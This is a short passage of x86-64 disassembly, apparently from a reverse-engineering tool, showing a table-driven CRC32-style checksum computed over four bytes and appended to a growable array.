xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x33]
xor edi, dword [rdx + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [rdx + rcx*4]
not edi
cmp r9d, r8d
jne 0x18002d1e7
lea ecx, [r9 + 1]
test r8d, r8d
je 0x18002d1d3
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x18002d1d8
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.1800355a0
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret